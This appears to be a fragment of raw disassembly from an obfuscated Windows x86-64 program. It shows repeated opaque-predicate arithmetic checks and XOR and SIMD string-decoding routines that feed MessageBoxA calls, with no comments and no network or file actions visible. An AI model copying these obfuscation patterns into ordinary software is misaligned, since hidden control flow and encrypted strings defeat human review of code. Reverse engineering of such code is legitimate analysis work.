movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bf3f
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000bf3f
mov dword [rbp - 0x1c], r14d
jmp 0x14000bf90
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bf90
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x1c], eax
movsx eax, byte [0x140017004]
add eax, r13d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x1c]
test eax, eax
je 0x14000ca5b
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
jmp 0x14000c52b
movsx eax, byte [0x140017004]
add eax, esi
add eax, r9d
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca57
mov byte [rbp - 0x45], 0
lea rdx, [rbp + 4]
lea rcx, [rbp - 0x45]
call fcn.140001f60
mov r8, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000c039
xor byte [r8], 0x39
xor byte [r8 + 1], 0x3a
xor al, 0x3b
mov byte [r8 + 2], al
mov r11, qword [rbp - 0x60]
mov rax, qword [r11 + rbx*8]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000c057
inc rax
test ecx, ecx
jne 0x14000c044
xor r9d, r9d
mov eax, r9d
test edx, edx
sete al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c0f8
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000c0f8
mov dword [rbp - 0x18], r14d
jmp 0x14000c149
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c149
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x18], eax
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x18]
test eax, eax
je 0x14000c179
mov byte [rsp + 0x40], 1
jmp 0x14000ca57
lea ecx, [r12 + rsi]
movsx eax, byte [0x140017004]
lea ecx, [rcx + r12*2]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca57
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
add edx, edx
call fcn.140004300
movsx ecx, al
sub edx, ecx
call fcn.1400042e0
movsx ecx, al
add edx, ecx
movsx eax, byte [0x140017001]
add eax, edx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c26b
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000c26b
mov dword [rbp - 0x14], r14d
jmp 0x14000c2bc
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c2bc
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x14], eax
movsx eax, byte [0x140017004]
add eax, esi
lea eax, [rax + r12*8]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x14]
xor edx, edx
test eax, eax
je 0x14000c5d0
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c372
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000c3ac
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c3ac
movzx eax, byte [0x140017004]
movzx eax, byte [0x140017003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
movsx eax, byte [0x140017004]
add eax, r13d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
mov ebx, dword [rsp + 0x30]
cmp eax, ecx
je 0x14000ca5b
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c487
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000c487
mov dword [rbp - 0x3c], r14d
jmp 0x14000c4d8
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c4d8
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x3c], eax
movsx eax, byte [0x140017004]
add eax, esi
lea eax, [rax + r12*2]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x3c]
test eax, eax
je 0x14000ca5b
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
xor edx, edx
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c58d
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000ca5b
movsx eax, byte [0x140017004]
add eax, edi
xor edx, edx
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca5b
movzx eax, byte [0x140017004]
movzx eax, byte [0x140017003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
jmp 0x14000ca5b
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c91e
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r9
cmp byte [rsp + 0x41], al
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c692
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000c692
mov dword [rbp - 0x38], r14d
jmp 0x14000c6e3
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c6e3
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x38], eax
lea ecx, [r12 + rsi]
movsx eax, byte [0x140017004]
lea ecx, [rcx + r12*8]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x38]
test eax, eax
je 0x14000c91e
mov byte [rbp - 0x44], r9b
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x44]
call fcn.140002240
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14000c748
xor byte [rbx], 0x39
xor byte [rbx + 1], 0x3a
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 0x3c
xor byte [rbx + 4], 0x3d
xor al, 0x3e
mov byte [rbx + 5], al
mov byte [rbp - 0x42], 0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x42]
call fcn.1400020d0
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14000c903
xor eax, eax
mov r8d, eax
cmp dword [0x140017010], 2
jl 0x14000c8bd
movdqa xmm5, xmmword [0x140011aa0]
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm6, xmmword [0x140011ac0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000c7b0
cmp r8d, 0x13
jge 0x14000c903
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000c8d0
mov r9d, 0x10
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r11, qword [rbp - 0x60]
xor r9d, r9d
movsx eax, byte [0x140017004]
add eax, esi
lea eax, [rax + r12*2]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c9cf
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000ca2c
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca23
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x78], eax
jmp 0x14000ca27
mov eax, dword [rsp + 0x78]
cmp r9d, eax
jge 0x14000ca57
mov r13d, 1
xor r12d, r12d
jmp 0x14000f591
mov r13d, dword [rsp + 0x68]
mov esi, dword [rsp + 0x60]
mov r11, qword [rbp - 0x60]
jmp 0x14000ca57
lea r13d, [rsi + r12]
mov r11, qword [rbp - 0x60]
jmp 0x14000ca57
lea r13d, [rsi + r12]
mov ebx, dword [rsp + 0x30]
inc dword [rsp + 0x64]
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
movsxd rdx, dword [rbp - 0x4c]
cmp rax, rdx
mov r9, rax
mov r10d, dword [rsp + 0x64]
jl 0x14000a610
mov r13d, 1
mov r9d, dword [rbp - 0x68]
inc r9d
mov dword [rbp - 0x68], r9d
jmp 0x14000a4d0
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d201
cmp qword [rbp + 0x200], 0
je 0x14000caf7
cmp qword [rbp + 0x1e0], 0
jne 0x14000caf7
mov rdx, r13
xor edi, edi
jmp 0x14000cafb
xor edi, edi
mov edx, edi
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000cbb0
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000cbb0
mov r9d, r14d
jmp 0x14000cc48
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000cc43
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r9d, xmm0
jmp 0x14000cc48
mov r9d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000d201
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d077
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, rdi
cmp byte [rsp + 0x41], 0
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000cd90
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000cd90
mov r10d, r14d
jmp 0x14000ce28
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ce23
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r10d, xmm0
jmp 0x14000ce28
mov r10d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x14000d077
mov byte [rbp - 0x41], 0
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x41]
call fcn.140002530
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14000cea7
xor byte [rbx], 0x39
xor byte [rbx + 1], 0x3a
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 0x3c
xor byte [rbx + 4], 0x3d
xor al, 0x3e
mov byte [rbx + 5], al
mov byte [rbp - 0x40], 0
lea rdx, [rbp + 0x148]
lea rcx, [rbp - 0x40]
call fcn.1400023b0
mov r11, rax
cmp byte [rax + 0x2b], 0
je 0x14000d063
mov r8d, edi
cmp dword [0x140017010], 2
jl 0x14000d01d
movdqa xmm5, xmmword [0x140011aa0]
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm6, xmmword [0x140011ac0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000cf10
cmp r8d, 0x2c
jge 0x14000d063
movsxd r10, r8d
add r10, r11
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x2c
jl 0x14000d030
mov r9d, 0x10
mov r8, rbx
mov rdx, r11
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d163
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000ca32
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d1f5
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si eax, xmm0
jmp 0x14000d1f9
mov eax, dword [rsp + 0x78]
cmp edi, eax
jl 0x14000ca32
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
xor r12d, r12d
mov edi, r12d
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e678
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
